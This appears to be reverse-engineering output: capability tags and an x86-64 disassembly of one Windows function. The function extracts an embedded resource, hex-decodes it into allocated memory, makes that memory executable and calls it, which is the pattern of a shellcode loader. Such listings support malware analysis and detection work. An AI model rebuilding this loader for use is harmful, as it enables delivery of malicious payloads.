Function at 0x140001360
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Extract resource via kernel32 functions
Spawn thread to rwx shellcode

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r14
sub rsp, 0x60
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rsp + 0x50], rax
xor r9d, r9d
xor r8d, r8d
lea edx, [r9 + 1]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [0x1400056f0], rax
lea rdx, [0x140001230]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_AddVectoredExceptionHandler]
xor ebx, ebx
mov qword [rsp + 0x28], rbx
mov dword [rsp + 0x20], ebx
xor r9d, r9d
lea r8, [0x140001300]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea edx, [rbx + 0x65]
xor ecx, ecx
lea r8d, [rbx + 0xa]
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov rsi, rax
test rax, rax
je 0x1400015a8
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LoadResource]
test rax, rax
je 0x1400015a8
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rdi, rax
mov rdx, rsi
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SizeofResource]
test rdi, rdi
je 0x1400015a8
test eax, eax
je 0x1400015a8
mov r8d, eax
lea rcx, [r8 + rdi]
mov qword [rsp + 0x30], rbx
mov ebp, ebx
mov qword [rsp + 0x40], rbx
mov esi, 0xf
mov qword [rsp + 0x48], rsi
mov byte [rsp + 0x30], bl
cmp rdi, rcx
je 0x140001470
mov rdx, rdi
lea rcx, [rsp + 0x30]
call fcn.140001640
mov rsi, qword [rsp + 0x48]
mov rbp, qword [rsp + 0x40]
mov r14, rbp
shr r14, 1
mov r9d, 4
mov r8d, 0x1000
mov rdx, r14
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r10, rax
mov qword [0x1400056d8], rax
mov rdi, qword [rsp + 0x30]
test rbp, rbp
je 0x14000154e
mov r8, rbx
nop dword [rax + rax]
lea rcx, [rsp + 0x30]
cmp rsi, 0x10
cmovae rcx, rdi
movzx eax, byte [r8 + rcx]
lea ecx, [rax - 0x30]
cmp cl, 9
ja 0x1400014ce
sub al, 0x30
jmp 0x1400014e8
lea ecx, [rax - 0x61]
cmp cl, 5
ja 0x1400014da
sub al, 0x57
jmp 0x1400014e8
lea ecx, [rax - 0x41]
cmp cl, 5
ja 0x1400014e6
sub al, 0x37
jmp 0x1400014e8
xor al, al
lea rcx, [rsp + 0x30]
cmp rsi, 0x10
cmovae rcx, rdi
movzx edx, byte [r8 + rcx + 1]
lea ecx, [rdx - 0x30]
cmp cl, 9
ja 0x140001508
sub dl, 0x30
jmp 0x140001524
lea ecx, [rdx - 0x61]
cmp cl, 5
ja 0x140001515
sub dl, 0x57
jmp 0x140001524
lea ecx, [rdx - 0x41]
cmp cl, 5
ja 0x140001522
sub dl, 0x37
jmp 0x140001524
xor dl, dl
shl al, 4
add al, dl
mov ecx, ebx
test ebx, ebx
jns 0x140001532
lea ecx, [rbx + 1]
sar ecx, 1
movsxd rcx, ecx
mov byte [rcx + r10], al
add ebx, 2
add r8, 2
movsxd rax, ebx
cmp rax, rbp
jb 0x1400014b0
lea r9, [0x1400056e8]
mov r8d, 0x40
mov rdx, r14
mov rcx, r10
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
call qword [0x1400056d8]
nop
cmp rsi, 0x10
jb 0x1400015a8
lea rdx, [rsi + 1]
mov rax, rdi
cmp rdx, 0x1000
jb 0x1400015a0
add rdx, 0x27
mov rdi, qword [rdi - 8]
sub rax, rdi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400015a0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, rdi
call fcn.14000180c
xor eax, eax
mov rcx, qword [rsp + 0x50]
xor rcx, rsp
call fcn.1400017b0
lea r11, [rsp + 0x60]
mov rbx, qword [r11 + 0x10]
mov rbp, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop r14
ret